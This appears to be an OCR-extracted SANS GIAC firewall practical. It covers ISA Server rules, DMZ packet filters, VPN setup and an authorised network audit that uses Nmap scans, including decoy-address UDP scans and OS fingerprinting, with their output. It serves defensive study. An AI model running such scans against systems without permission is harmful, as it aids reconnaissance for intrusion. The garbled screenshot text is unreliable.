[+ iil fonitoring r:Q&Internal Employees HTTP and HTTPS Allow HTTP HTTPS Client Sets: Internal Cli |
H -—_:l Computer ﬁj‘jlnternal Mail Server ko DMZ Mail Relay Allow SMTP Client Sets: DMZ Mail 50
=1-Ef Access Policy g‘élnternal MTP Server to Strata 2 Servers  Allow TP (LD Clignt Sats: Internal MT |
; [ Site and Content Rules L3y Mail wizard rule - SMTP, Inkernal IP: 1., Allow SMTP, SMTP Server Client Sets: Mail Wizarc |
_.5| Pratocol Rules %&Mobile Emplovess to Internal Mail Server  Allow otes Client Client Sets: Mobile Emp |
& | ;P I_:‘acket Filters @jl\’lobile Employvees ko Internal Web Allow HTTP,HTTPS Client Sets: Maobile Emp |
[+ EJ Publishing £33 Mabile Emplayess to Narton's Ent AY Allaw Narton's Enterprise &V Server  Client Sets: Mobile Erp |
H Jd BaﬁdWidth Rules r_‘él\’lobile Employees ko MTP Server Allow MTP {UDF} Client Sets: Mobile Emp |
: ’ Eﬂool::itoEr::Zinotnsﬁguration ﬁi Part.Sup. to Internal Web Server Allow HTTR, HTTPS Client Sets: Partners/St
[+ 5 Extensions
- L5 Metwork Configuration
B Client Configuration
EuF ISA Management :Jg{ ﬂ
| Action  Yiew _- = = | (1] @
Tree J Tame ] Scope ] ] Action | Applies To | Sches |
Eﬁi Irkernet Security and Acceleration Server E_'| Internal Clients FTP Download Only Array Allca Client Sets: Internal Clients Al
=& Servers and Arrays fj Internal Employees HTTP and HTTPS Array Allowa Client Sets: Internal Clients Alwzr
_3 ISASERYEROL Ej Internal ISP Server bo ISP DNS Server Array Al Client Sets: Internal DNS Server  Aluar
- ﬁ Manitoring Ej Internal MTP Server to Strata 2 Servers Array Al Client Sets: Internal NTP Server  Alwar |
i 5 Computer &) 1nternal SMTP Server ko DMZ Mail Relay Array Allc Client Sets: Internal SMTP Ser... Alwar
- _J’ Access Policy E_'] Mobile Emplovees to Internal Mail Array Allows Client: Sets: Maobile Employees Al |
g FSite and Contert Rules &) Mabile Employess ta Inkernal Web Array Al Client Sets: Mobile Employees Az
_.J Pratocal Rulss [& Mabile Emp. to NTP & Morton Ent. &% Server Array Allow client Sets: Mobile Employees Al
i -Sj ll;_ujblfsph'i:nagcmt Filters & Part./Supp. to Internal Web Server Array Al Client Sets: Partners/suppliers  Alwa
[_ Web Publishing Rules
{171 Server Publishing Rules

As seen in the screen shots above Site and Content Rules and Protocol Rules were also
created for the internal DNS and internal Web servers. Remember that most outbound
access is controlled by both Site and Content rules and Protocol rules.

DNS Server - 192.168.50.5

From UDP > 1023 to ISP DNS server UDP 53
From ISP DNS server UPD 53 to UDP > 1023
From TCP > 1023 to ISP DSN server TCP 53
From TCP 53 to DNS server TCP > 1023

Here we had to allow both UDP and TCP 53 since the query response could be larger
than 492 bytes which would cause the connection to be re-established as TCP.?

Web Server - 192.168.50.4

© SANS Institute 2000 - 2002

From Mobile Users, Partners and Suppliers VPN clients addresses using TCP 80 and 443.
The GIAC mobile clients connect via VPN and are assigned a static address between
192.168.75.1-14 and the GIAC partners/suppliers also connect via VPN and are also
assigned a static address between 192.168.100.1-126. This happens on the Contivity and
is routed to the ISA server. Those two address ranges were added to ISA’s routing table
as static persistent entries using the route add command with the —p switch.
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C:\route add —p 192.168.75.0 mask 255.255.255.240 192.168.60.253
C:\route add —p 192.168.100.0 mask 255.255.255.128 192.168.60.253

This allows ISA to control access from these network addresses to devices on the GIAC
private LAN. Based on the source address ISA can differentiate between GIAC mobile
users and GIAC partners/suppliers. While the partners/suppliers only have access to the
internal web server, the mobile users have access to it and also the internal mail server
and the Symantec Norton Antivirus Enterprise/NTP server for antivirus updates.

EuE ISA Management = D_iﬂ
| Adion View || 4 = | E%
Tree J Marne J Prakocol Inkernal IP ... | External IP Address
B trternet Security and Acceleration Server %?Border Rauter -3 Syslog Server Syslog LIDP 514 192,168.50,3  110,10,10,2
=5 servers and Arrays EeaInternal MTP Server ko DMZ Srvrs MTP Server UDP 123 192.168.50.7  110.20.20.1
_5 ISASERYEROL [EAInternal SQL Server to DMZ Web Server SGL Server 192,168,506  110,20.20.1
+ﬁ Monitaring BEanternal Syslog Server ko DMZ Servers Syslog UDP 514 192,168,50,3  110,20.20.1
: ___j Computer E:EISMTP Server, Published IF: 110.20.20.1 SMTF Server 192,168,508 110.20.20.1

=- j Access Palicy
|__] Site and Content Rules
[_ Protocol Rules
i [0 1P Packet Fileers
=1+ Publishing
(L] Web Publishing Rules
R = | lishing Rules
e .

Publish rules were created for the SQL server, Syslog server and the SMTP server for the
servers on the DMZ.

SQL Server — 192.168.50.6
From DMZ Web Server TCP > 1023 to TCP 1433
From SQL to DMZ Web Server TCP > 1023 to TCP 1433

Syslog Server — 192.168.50.3
From DMZ servers UDP > 1023 to UDP 514
From Border Router UDP > 1023 to UDP 514

SMTP Server — 192.168.50.8

From internal SMTP server TCP > 1023 to DMZ SMTP relay host TCP 25
From DMZ SMTP relay host TCP 25 to internal SMTP server > TCP 1023
From DMZ SMTP server TCP > 1023 to internal SMTP server TCP 25
From internal SMTP server TCP 25 to DMZ SMTP server TCP > 1023

DMZ Servers — ISA Packet Filters to allow access from Internet
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EHE I5A Management :ngij |
Arction Eiew: & = XI@Q

Tree J Mare | Mods | Server J Filter bype I Pratocal I [
[ tternet security and Acceleration Server _'T_-.j.ﬁ.nv SMTP Server to DMZ SMTF Relay  Allow  ISASERVE...  SMTP TCP 1|
E1- 8 Servers and Arrays [T#)OHCP Client Allow  ISASERME...  Cuskom Filker Lop £l

= 5 ISASERYEROL _Tj.ﬁ.ny to DMZ DS Server Allow  ISASERVE...  Custom filker uop f

[+ Q‘ Tanitaring _Tj.ﬁ.nv to DMZ web Server HTTP Allow  ISASERVE...  HTTP server (port 800 TCP 1

{5 Computer -'_"F_’]Anv to DMZ Weh Server HTTPS Allow  ISASERVE...  HTTPS server (port 443) TCP 1

= Access Palicy [52|DMS Filter Allow  ISASERVE...  DNS lookup o :

1 Site and Content Rules [THICMP outbound Allow  ISASERVE...  ICMP all outbound P c

-J Protocal Rules cme ping respanss (in) Allow  ISASERVE...  ICMP ping response ICMP 1

o al lhacterhilee ey -+ From Public Allow 15 ... ICMP ping query ICMP

=& Publishing [SHICMP saurce quench allow  ISASERVE...  ICMP source quench ICMP 1

(] Web Publishing Rules [THICHP timesut in Allow  ISASERVE...  ICMP timeout ICHP 1

: __1 :EaJn j;:;’;: :z::':h'”g Reles _QICMP unreachable in Alow  ISASERVE.. ICMP unreachable ICMP 1

= * Palicy Elements -'_EISP DM .2 o DMZ DNS Query Allow  ISASERVE...  Custom filker LCP g

: (1 Schedules i’JISP DMS 2 o DMZ DMS KFER Allow  ISASERVE...  Custom f?lter TCP 1

(7] Bandwidth Priorities _L'JISP DMS .4 to DMZ DMNS Query Allow  ISASERVE...  Custom filker uop i

[ Destination Sets O5I5F DMS 4 ko DMZ DNS XFER Allow  ISASERVE...  Custom filker TCR 1

On a tri-homed ISA server (this specific network is utilizing 4 interfaces), packet filters
have to be used to expose services on the Service Network (DMZ) to the public.

Web Server — 110.20.20.2
From anywhere on the Internet TCP > 1023 to TCP 80
From TCP > 1023 to TCP 80 anywhere on Internet
From anywhere on the Internet TCP 443 to TCP > 1023
From TCP > 443 to anywhere on the Internet TCP > 1023

The DMZ DNS server is authoritative for GIAC Enterprises public name space. It uses
GIAC’s ISP DNS server for a secondary DNS server for redundancy and also as its
forwarder.

DNS Server —110.20.20.3
From anywhere on the Internet UDP > 1023 to UDP 53
From UDP 53 to anywhere on the internet UDP > 1023
From ISP DNS server TCP >1023 to TCP 53
From TCP 53 to ISP DNS server TCP >1023
(TCP utilized for zone transfers from GIAC to ISP secondary)

SMTP Server — 110.20.20.4
From anywhere on the Internet TCP > 1023 to TCP 25
From TCP 25 to anywhere on the Internet TCP > 1023
From TCP > 1023 to anywhere on the Internet SMTP 25
From anywhere on the Internet TCP 25 to TCP > 1023

The IDS — (Linux RedHat 7.2/Snort1.86) is monitoring the Service Network (DMZ) for
anomalies. It is logging to an internal Syslog server that we exposed to it earlier using
ISA’s publishing rules.
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IDS - 110.20.20.5
From IDS server UDP > 1023 to internal Syslog server UDP 514
(actually pointed at the ISA DMZ interface)

E.E 1SA Management _1al =]
| Adion View || 4 = | E%
Tree J Marne J Prakocol Inkernal IP ... | External IP Address
B trternet Security and Acceleration Server %?Border Rauter -3 Syslog Server Syslog LIDP 514 192,168.50,3  110,10,10,2
=5 servers and Arrays EeaInternal MTP Server ko DMZ Srvrs MTP Server UDP 123 192.168.50.7  110.20.20.1
_5 ISASERYEROL [EAInternal SQL Server to DMZ Web Server SGL Server 192,168,506  110,20.20.1
+ﬁ Monitaring BEanternal Syslog Server ko DMZ Servers Syslog UDP 514 192,168,50,3  110,20.20.1
: ___j Computer E:EISMTP Server, Published IF: 110.20.20.1 SMTF Server 192,168,508 110.20.20.1

=- j Access Palicy

|__] Site and Content Rules
i [_] Protocol Rules
i [0 1P Packet Fileers
=1+ Publishing

(L] Web Publishing Rules

4 lishing Rules

Mobile Emplovees — 192.168.75.1-14

Mail (Notes Client) — 192.168.50.8
From client address and TCP > 1023 to internal mail server and TCP 1352
From internal mail server TCP 1352 to mobile client address and TCP > 1023

Norton’s Antivirus Corporate Edition 7.6 (located on NTP server)
From client address and UDP 2967 to AV server UDP 2967
From AV server UDP 2967 to client address and UDP 2967

Internal Web server — 192.168.50.4

From client address and TCP > 1023 to internal Web server and TCP 80

From internal Web server TCP 80 to mobile client address and TCP > 1023
From mobile client address and TCP > 1023 to internal Web Server and TCP 443
From internal Web server TCP 443 to mobile client address and TCP > 1023

Partners/Suppliers — 192.168.100.1-26

From client address and TCP > 1023 to internal Web server TCP 80
From internal Web server TCP 80 to client address and TCP > 1023
From client address and TCP > 1023 to internal Web Server and TCP 443
From internal Web Server TCP 443 to client address and TCP > 1023
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uE lanagemen =
EI5A M t ol x
Action  Yiew _- &= | @
Tree J Tame ] Scope ] ] Action | Applies To | Sches
gmg Irkernet Security and Acceleration Server ;i_] Internal Clients FTP Download Only Array Allca Client Sets: Internal Clients Al
=& Servers and Arrays = tnternal Employess HTTP and HTTPS Array Allowa Client Sets: Internal Clients Alwzr
= 3 ISASERYEROL @) 1nternal ISP Server to ISP DNS Server Array Al Client Sets: Internal DNS Server  Aluar
+]- i‘, Manitoring &) Internal WTP Server to Straka 2 Servers Array Al Client Sets: Internal NTP Server  Alwar
_'___:] Computer &) 1rkernal SMTP Server to DMZ Mail Relay Array Allovs Client Sets: Internal SMTP Ser... Alwar
=- E,f Access Policy [# Mobile Employees to Internal Mai Array Allows Client: Sets: Maobile Employees Al
g FSite and Contert Rules &) Mabile Employess ta Inkernal Web Array Al Client Sets: Mobile Employees Az
L1 Protocol Rules [E\ Mabile Emp. to NTP & Morton Ent, AY Server  Array Allow client Sets: Mobile Employees Al
-1 IP Packet Filkers &\ part./5upp. to Internal Web Server Array Al Client Sets: Partners/suppliers  Alwa
=& Publishing
|1 Web Publishing Rules
{171 Server Publishing Rules
Wb lanagemen = =
EI5A M t ol x
fction  Yiew || & | 2
Tree J Tame | Action ] Protocol I Applies To
4= - o
gmg Internet Security and Acceleration Server Q@ DMZ SMTP GUT Allow SMTR Client Sets: DMZ Mail St
=& Servers and Arrays ﬁglnternal DM3 Server bo ISP DNS Server Allow DMS Query Clignt Sets: Internal Dh
= 3 ISASERVEROL E‘Gjlnternal Employees FTP Allow FTP Download only Clignt Sets: Internal Cli
+]- i‘, Ionitoring Q’ilnternal Employess HTTP and HTTPS Allow HTTP, HTTPS Client Sets: Internal Cli
___l] Computer gﬁlnternal Mail Server ko DMZ Mail Relay Allow SMTP Client Sets: DMZ Mail S
1 Ef Access Policy £ Internal NTP Server to Strata 2 Servers  Allow NTR (LDF) Client Sets: Internal NT |
[_1 5ite and Cantent Rules L3y Mail wizard rule - SMTP, Tnkernal TP 1., Allow SMTR, SMTR Server Client Sets: Mail Wizarc |
' Protocol Rules £}y Mabile Emplayees to Internal Mail Server  Allow Nates Client client Sets: Mobile Emp |
i (n ?P I_:‘acket Filters g‘il\’lobile Employvess bo Internal Web Allow HTTP,HTTPS Clignt Sats: Mobile Ermp |
H E—‘ PUbl'Sh_'ng r_‘él\’lobile Employees ko Morton's Ent AY Allow Morton's Enterprise &V Server  Client Sets: Mobile Emp |
H L BaFdW|T|th Rules ﬁ"jl\’lobile Emplovess to WTP Server Allow TR (LDP) Client Sets: Mobile Emp |
?r aﬁ PDIC.'y' E.ements. ) ﬁjﬁPart.,l'Sup. to Internal Web Server Allow HTTP,HTTPS Client Sets: Partners/s
+-15%4) Monitaring Configuration
+- 5 Extensions
+1- [ Netwark Configuration
) Clignt Configuration

Access for both the GIAC mobile clients and the GIAC partners and supplies are
provided by the combination of Site and Content rules and Protocol Rules. The GIAC
employees are allowed access to the internal Web server, internal mail server, and the
Norton Enterprise server, while the GIAC partners and suppliers have access only to the
internal Web server.

VPN — Mobile Employees/Partners & Suppliers —

To provide the VPN access to the network GIAC Enterprises is utilizing a Nortel
Contivity Switch which supports up to 200 tunnels.
Hardware Specifications —

Part Description Qty | Unit Extended
DM14057 Contivity 1600, 200 tunnels, Dual 10/100 | 1 4,550.00 | 4,550.00
Ethernet
LAN Ports, 1 PCI EXP slot, Server S/W with
(56-Bit) Encryption, Unlimited License for
IPSEC client S/W.
AA0020022 | Power Cord 10A-110/120V North America 1 0.00 0.00
DMO0004005 | 128 MB RAM upgrade (Factory Install) 1 487.50 | 487.50
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DMO0016002 | Contivity Stateful Firewall license for the | 1 650.00 | 650.00
15x0/1600 platform(Firmware 3.5 Required)
Total $5.687.50

System Status

System Up Time

Up Time

STATUS

System Configuration
HELP

Software Version
Software Build Date
System Serial Number
MAC Address

BIOS

System Hardware

Processor 1
Memory
Hard Disk 1
Diskette

170 10:08:48

V03_6045

Apr 4 2001, 19:39:35
23668
00-E0-TB-06-3E-50
PO&

Celeron 400 Mhz, L1D Cache:16K, L1l Cache: 16K, L2 Cache: 128K
20 MB Free, 64 MB Total.

1789 MB Free, 2036 MB Total

3.5 Inch

This is a screen shot of the System Status. The Contivity is managed through a browser
pointing at its ‘management address’ (ex: http://10.x.x.x). This is a second address that is
given to the private interface of the switch. Since GIAC Enterprises is already utilizing
this piece of equipment will we do a quick review of the VPN configuration for the
Mobile Employees, Partners and Suppliers.

Group | /Base/VPN_MobileEmployeas Display

[ Previous ][ Next H Add User ] Mare Reports

Last First Actions
There are no users defined in this group

Press the Add User button to Add Users to this group

Add User

Here we have selected Profiles -> Users from the Menu. We will add a new employee to
the group that is called /Base/VPN_MobileEmployees that was created earlier. All
employees in this group will share the same connection configuration. Next we select the
‘Add User’ button to proceed.
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First Last
Name .John Smith

Group /Base/VPN_MobileEmployees

Static IP Address Static Subnet Mask
Remote User |192.168.75.1 255 255,255 24()|

Mote: The static IP subnet mask is used for IPsec connections only

User Accounts

User ID Password Confirm Password ﬁ;‘;::,s
IPsec | JSmith ITIITTITY sesssses
PPTP
L2TP
L2F

L2TP/IPsec Data Protection
Require Own IPsec Credentials [ ]

IPsec Certificate Credentials
Remote Identity
Valid Issuer Certificate Authority

(Mo issuer CAs available) v

On this screen we provide a first and last name, a static IP address, an IPSEC user ID and
password. The static IP is used so we can control what access this account has on the
GIAC private LAN. The Contivity also allows IP assignment through an IP pool of
addresses or a DHCP server. Certificate authentication is supported on the Nortel switch.
GIAC has not implemented an internal Certificate Authority at this time, but may do so in
the future. The GIAC partners/suppliers are setup in the same fashion in their own
appropriate group and static IP addresses.

Assignment 3 Network Audit

GIAC Enterprises Network Audit

As part of the firewall deployment it has been decided that a network audit should be
preformed. This audit should be documented in such a way as to be part of the
deliverables by the consultant to the GIAC management and IT staff. A planning meeting
was scheduled and executed. Attendees included the consultant, IT senior staff and
GIAC’s CIO. The meeting concluded with the items below:
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A policy was written giving permission for the audit. After reviewing the last 90 days of
GIAC Enterprise’s business trends it was concluded that the appropriate time for the
audit would be over the weekend. The audit would be conducted in three phases.

Phase I —
Check the physical security of the GIAC office. This would include a test of the
alarm system, the backup generator, combination door locks, procedures for
disposing of confidential documents, reviewing client PC’s for current virus
definition files and password complexity on the servers. The Microsoft Tool,
HotFixNetworkChecker would be used to scan all the Windows based PC’s
for status of patches. The policy that had been written for the audit included
permission to use the tool 10phtcrack to check the server passwords. This phase
would be done on Saturday from the hours of 8 AM to 1 PM.

Phase I1 —
That evening from 6 PM until 11 PM (or when completed) a complete backup
and restore of the ISA server including the firewall configuration would be done.
This would provide the GIAC IT staffers with hands on recovery of the new
equipment. This phase would also include a verification of a valid back up of
the border router configuration file and documentation of the same. Once the
items are verified, they will be placed in the Senior IT manager’s office in the
fire proof safe.

Phase I1I-
Starting on Sunday at 8 AM the audit would continue with a network access
check. This would include using PhoneTag to check for rogue modems. It will
be configured to dial GIAC Enterprises range of phone prefixes to check for
modem access. GIAC has a strict policy against hanging modems anywhere on
its network. Nmap will be used to scan the network for leaks from an
outside location. It will also be used to verify the border routers ACL’s and the
firewall rules. For off site testing, arrangements have been made to use one of
the IT staff’s residence since he has a cable modem connection and it is the same
ISP as GIAC Enterprises. The ISP was notified of the audit and given a contact
name and number in case of problems or issues.

The consultant would lead the audit and would be assisted by the senior IT manager and
one of the junior staff. Total time allocated for the audit is 18 hours. This equates to 48
man hours. This breaks out from a cost stand point to:

Consultant x 18 hours @ $75/hr $1,350
Sr. IT manger x 18 hours @ $60/hr $1,080
Jr. IT staff x 18 hours @ $35/hr $ 630
Cost for tools and equipment $ 0
(included)
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Total: $3.060

The initial test is to check GIAC’s border router ACLs to verify that the router is in fact
denying spoofed addresses. The test is done using a network scanning tool called Nmap.
It was written by Fyodor and can be obtained from http://www.insecure.org/. It was
written originally to run on UNIX/Linux but a Windows port is now available. It ships
with most Linux distributions including RedHat which is the consultant’s preference. It
can be installed using the RedHat Package Manager. Once the CD has been mounted
with the command mount /mnt/cdrom, the program can be installed with a command;
rpm —ivh /mnt/cdrom/RedHat/RPMS/nmap-2.5BETA22-3.
The rpm options are:

-1 install -v beverbose -h show hash marks(progress bar)

If you are a purist at heart you can download the tarball version from the website and
compile and install that way. This procedure is not much more complicated, just a few
more commands. The file comes downloaded as nmap-2.54BETA34.tgz. You would then
step through these commands;

The tar command to uncompress and extract the files into a directory;

#tar —xvzf nmap-2.54BETA34.1gz

The options —x  extract —v be verbose -z uncompress -f <filename>.

Change to that directory - cd namap-2.54BETA34

Type . /configure

Type make

And finally make install
Now we are ready to use the nmap tool to do our first test on the border router acls.

# nmap (V. 2.54BETA22) scan initiated Mon May 27 13:40:49
2002 as: nmap -sU -PO -p 1-25 -v -n -D5.1.1.1 -oN
brouter.txt 4.1.1.2

All 25 scanned ports on (4.1.1.2) are: filtered

# Nmap run completed at Mon May 27 13:41:11 2002 -- 1 IP
address (1 host up) scanned in 22 seconds

Here is the nmap command that was run to test the ip spoof rule against the GIAC border
router. The access-list rule is: access-list 101 deny ip 5.0.0.0 0.255.255.255 any log. The
options are:

-sU UDP port scan

-PO Don’t ping hosts

-p range of ports to scan

-v be verbose

-D5.1.1.1 decoy address — this is used to test our spoofed ip address
-n no DNS resolution

-oN normal output and log to file <file name>
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&1 Terminal - CISCO.TRM
File | Edit Settings Phone Transfers Help

EIAC
.May 27 13:27:58.315 CST: %SEC-6-IPACCESSLOGP:
a7) -> 118.28.20.15(137), 1 packet

GIAC
.May 27 13:29:87.259 CST: %SEC-6-IPACCESSLOGP:
38) -> 118.28.28.15(138), 1 packet

27 13:30:11.0823 CST: %SEC-6-IPAGCESSLOGP:

-May
s
-May
Yy >
-May
Yy >
-May
Yy >
-May
Yy >
-May
Yy >
-May
Y >
-May
Yy >
-May
Y >
-May
Yy >
-May
Y >
-May

BR#

BR#

n.1.1.2¢18), 1 packet

27 13:38:12.827 CST: %SEC-6-IPACCESSLOGP:

h.1.1.2(24), 1 packet

27 13:38:13.519 CST: %SEC-6-IPACCESSLOGP:

L. 1.1.2(2), 1 packet

27 13:38:14.519 CST: %SEC-6-IPACCESSLOGP:

n.1.1.2(23), 1 packet

27 13:38:15.955 CST: %SEC-6-IFPACCESSLOGP:

n.1.1.2¢(25), 1 packet

27 13:38:16.955 CST: %SEC-6-IPACCESSLOGP:

n.1.1.2¢21), 1 packet

27 13:38:18.0875 CST: %SEC-6-IPACCESSLOGP:

h.1.1.2¢17), 1 packet

27 13:38:19.579 CST: %SEC-6-IPACCESSLOGP:

L 1.1.2(9), 1 packet

27 13:38:28.579 CST: %SEC-6-IFPACCESSLOGP:

L.1.1.2(2), 1 packet

27 13:38:21.967 CST: %SEC-6-IPACCESSLOGP:

n.1.1.2(25), 1 packet

27 13:38:23.159 CST: %SEC-6-IPACCESSLOGP:

n.1.1.2(14), 1 packet

27 13:38:24.647 CST: %SEC-6-IPACCESSLOGP:

4.1.1.2(8), 1 packet

27 13:31:21.471 CST: %SEC-6-IPACCESSLOGP:

4.1.1.2(25), 1 packet

27 13:31:22_4B3 CST: %SEC-6-IPACCESSLOGP:

list 181

list 181
list 181
list 181
list 181
list 181
list 181
list 181
list 181
list 181
list 181
list 181
list 181
list 181
list 181

list 181

denied

denied
denied
denied
denied
denied
denied
denied
denied
denied
denied
denied
denied
denied
denied

denied

udp

udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp

udp

118.28.28.2(1

118.28.28.2(1
S.1.1.1(392821
S.1.1.1(39822
5.1.1.1(39821
5.1.1.1(39822
5.1.1.1(3%821
5.1.1.1(39822
5.1.1.1(39822
5.1.1.1(39821
5.1.1.1(39821
S.1.1.1(39822
S.1.1.1(39822
S.1.1.1(39822
5.1.1.1(39821

5.1.1.1(608786

Here is a screen shot of the border router from the console denying the spoofed IP
address. And below is the output from the Syslog server where the router is

logging.
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May 27 13:29:13 110.10.10.1 394: .May 27 13:27:58.315 CST: $SEC-6-
IPACCESSLOGP: list 101 denied udp 110.20.20.2(137) ->
110.20.20.15(137), 1 packet

May 27 13:30:22 110.10.10.1 395: .May 27 13:29:07.259 CST: $SEC-6-
IPACCESSLOGP: list 101 denied udp 110.20.20.2(138) ->
110.20.20.15(138), 1 packet

May 27 13:31:25 110.10.10.1 396: .May 27 13:30:11.023 CST: $SEC-6-
IPACCESSLOGP: list 101 denied udp 5.1.1.1(39021) -> 4.1.1.2(10), 1
packet

May 27 13:31:26 110.10.10.1 397: .May 27 13:30:12.027 CST: $SEC-6-
IPACCESSLOGP: list 101 denied udp 5.1.1.1(39022) -> 4.1.1.2(24), 1
packet

May 27 13:31:28 110.10.10.1 398: .May 27 13:30:13.519 CST: $SEC-6-
IPACCESSLOGP: 1list 101 denied udp 5.1.1.1(39021) -> 4.1.1.2(2), 1
packet

May 27 13:31:28 110.10.10.1 399: .May 27 13:30:14.519 CST: $SEC-6-
IPACCESSLOGP: list 101 denied udp 5.1.1.1(39022) -> 4.1.1.2(23), 1
packet

May 27 13:31:30 110.10.10.1 400: .May 27 13:30:15.955 CST: $%$SEC-6-
IPACCESSLOGP: list 101 denied udp 5.1.1.1(39021) -> 4.1.1.2(25), 1

This also verifies that the publishing rule which allows access to the Syslog
server on the private LAN through the ISA server is working as well. Looking
closely at the screen shot of the router console above you will also notice that we
have validation of one of the router Egress rules which is -

'Microsoft Services
access-list 199 deny udp any any range 135 139

The next test is to see if we can glean any information from the router using Nmap to do
a TCP connect scan to see if any ports are listening. We give the scanning host an address
of 3.1.1.5 to represent an outside network.

# nmap (V. 2.54BETA22) scan initiated Mon May 27 13:42:54 2002 as:
nmap -sT -PO -p 1-1500 -v -n -oN brouter2.txt 4.1.1.2
All 1500 scanned ports on (4.1.1.2) are: filtered

# Nmap run completed at Mon May 27 13:53:40 2002 -- 1 IP address (1
host up) scanned in 646 seconds
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Here we are doing a TCP connect() scan (the default), which can be a very ‘noisy’ scan
but works for our purposes since we are looking for open ports. We scanned TCP ports 1-
1500 and after 646 seconds Nmap reports all ports filtered.

Next we use nmap to scan the DMZ to see if only the expected ports are open. The
command to initiate the scan is:
#nmap —sT —v —P0 —p 1-500 —n —O —oN dmzopenports.txt 110.20.20.1-6

Even though there are 14 valid addresses in the DMZ network, we are going to only scan
addresses that have actual hosts for the sake of brevity. Based on the options arguments
above we are asking nmap to:

-sT —do a TCP connect() scan

-v — be verbose

-PO — don’t ping (since we are blocking anyway)

-p - scan port 1 through 500

-n -don’t attempt to resolve

-0 -attempt to finger print the operating system

-oN -create human readable output using the file dmzopenports.txt
110.20.20.1-6 -scan this range of addresses

Here is the output from that scan:

# nmap (V. 2.54BETA22) scan initiated Sat Jun 1 15:57:58 2002 as: nmap
-sT -v -PO -p 1-500 -n -O -oN dmzopenports.txt 110.20.20.1-6

Warning: OS detection will be MUCH less reliable because we did not
find at least 1 open and 1 closed TCP port

All 500 scanned ports on (110.20.20.1) are: filtered

Too many fingerprints match this host for me to give an accurate OS
guess

TCP/IP fingerprint:

SInfo (V=2.54BETA22%P=1386-redhat-1inux-gnu%D=6/1%Time=3CF9393A%0=-1%C=-
1)

T5 (Resp=N)
T6 (Resp=N)
T7 (Resp=N)
PU (Resp=N)

Warning: OS detection will be MUCH less reliable because we did not
find at least 1 open and 1 closed TCP port

Interesting ports on (110.20.20.2):

(The 498 ports scanned but not shown below are in state: filtered)

Port State Service
80/tcp open http
443/tcp open https

Remote operating system guess: FreeBSD 2.2.1 - 4.1

TCP Sequence Prediction: Class=random positive increments
Difficulty=15412 (Worthy challenge)

IPID Sequence Generation: Incremental
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Warning: OS detection will be MUCH less reliable because we did not
find at least 1 open and 1 closed TCP port

All 500 scanned ports on (110.20.20.3) are: filtered

Too many fingerprints match this host for me to give an accurate OS
guess

TCP/IP fingerprint:

SInfo (V=2.54BETA22%P=1386-redhat-1inux-gnu%D=6/1%Time=3CF93E16%0=-1%C=-
1)

T5 (Resp=N)
T6 (Resp=N)
T7 (Resp=N)
PU (Resp=N)
Warning: OS detection will be MUCH less reliable because we did not
find at least 1 open and 1 closed TCP port

Interesting ports on (110.20.20.4):

(The 499 ports scanned but not shown below are in state: filtered)
Port State Service

25/tcp open smtp

Remote operating system guess: FreeBSD 2.2.1 - 4.1

TCP Sequence Prediction: Class=random positive increments
Difficulty=11721 (Worthy challenge)

IPID Sequence Generation: Incremental

Warning: OS detection will be MUCH less reliable because we did not

find at least 1 open and 1 closed TCP port

All 500 scanned ports on (110.20.20.5) are: filtered

Too many fingerprints match this host for me to give an accurate OS

guess

TCP/IP fingerprint:

SInfo (V=2.54BETA22%P=1386-redhat-1inux-gnu%D=6/1%Time=3CF94334%0=-1%C=-

1)

T5 (Resp=N)

T6 (Resp=N)

T7 (Resp=N)

PU (Resp=N)

Warning: OS detection will be MUCH less reliable because we did not

find at least 1 open and 1 closed TCP port

All 500 scanned ports on (110.20.20.6) are: filtered

Too many fingerprints match this host for me to give an accurate OS

guess

TCP/IP fingerprint:

SInfo (V=2.54BETA22%P=1386-redhat-1inux-gnu%D=6/1%Time=3CF94711%0=-1%C=-

1)

T5 (Resp=N

T6 (Resp=N

T7 (Resp=N

PU (

)
)
)
Resp=N)

# Nmap run completed at Sat Jun 1 17:13:37 2002 -- 6 IP addresses (6

hosts up) scanned in 4539 seconds
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Results of nmap scan of DMZ:

The scan took 4539 seconds or approximately 76 minutes.
Host 110.20.20.1 — ISA server

All 500 ports scanned and all ports are filtered - expected
Host 110.20.20.2 — Web Server

500 ports scanned, 2 open ports: 80/TCP and 443/TCP — expected
The packet filter on ISA for the web server on the DMZ is allowing connections
on these two ports.

Remote OS guess — Free BSD 2.2.1 — 4.1 — This is interesting considering the OS
is actually MS Windows 2000 Server

Host 110.20.20.3 — DNS Server

500 ports scanned and all ports are filtered - expected

Although DNS server is listening on UDP 53 and TCP 53 the scan was
looking for only TCP ports and the rules only allow the ISP DNS
server to connect TCP.

Host 110.20.20.4 — SMTP Mail Relay

500 ports scanned, 1 open port: 25/TCP - expected
The firewall allows ‘Any’ host to initiate a connection to our
DMZ mail relay host so the results or expected.

Host 110.20.20.5 — NTP Server

500 ports scanned and all ports filtered — expected.

Again the results are expected since the host is only listening on
UDP 123 and the firewall will only allow connections to and from
the trusted time servers.

Host 110.20.20.6 — IDS

500 ports scanned and all ports filtered — expected.
The firewall is blocking all inbound connection attempts to this host.
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The ISA packet filter log can be viewed to validate the results we obtained from the scan.

4] dmzscan.txt - Notepad
File Edit Format Help

e

=@ x|

frtware: Mmicrosoft({r) Internet
rsion: 1.0

te: 2002-06-01 00:04:10

12 time source-ip
2-06-01 20:58:44 3.1.1.5
2-06-01 20:58:44
2-06-01 21:18:21
2-06-01 21:18:21
2-06-01 21:18:21
2-06-01 21:18:21
2-06-01 21:18:21
2-06-01 21:18:21
2-06-01 21:18:26
2-06-01 21:18:26
2-06-01 21:18:26
2-06-01 21:18:24
2-06-01 21:40:05
2-06-01 21:40:05
2-06-01 21:40:05
2-06-01 21:40:05
2-06-01 21:40:05
2-06-01 21:40:05
2-06-01 21:40:05
2-06-01 21:40:05
2-06-01 21:40:05
2-06-01 21:40:05
2-06-01 21:40:05
2-06-01 21:40:05
2-06-01 21:40:05
2-06-01 21:40:05
2-06-01 21:56:41
2-06-01 21:57:17
2-06-01 21:57:17
2-06-01 21:57:17
2-06-01 21:57:53
2-06-01 21:57:53
2-06-01 21:57:33
2-06-01 22:13:46

e
g

[y [y
P B T e B T P b B R b S
ek e i ek
J
(=]

T

e
I e = e T e e e e e e e e e A =T

Lad LAl Lo Ll L Al L L) Ll LAl L = b= i L Lt L = 5 L L) el = = L L = g L L
R

Here is a modified version of the log (for brevity). As you can see above, ISA is

security and Acceleration serwver 2000

destination-ip
110.20.20.
110.20.20.
110.20.20.
110.20.20.
110.20.20.

3.1.1.5
3.1.1.5

110.20.20.
110.20.20.
110.20.20.

3.1.1.5
e D ]

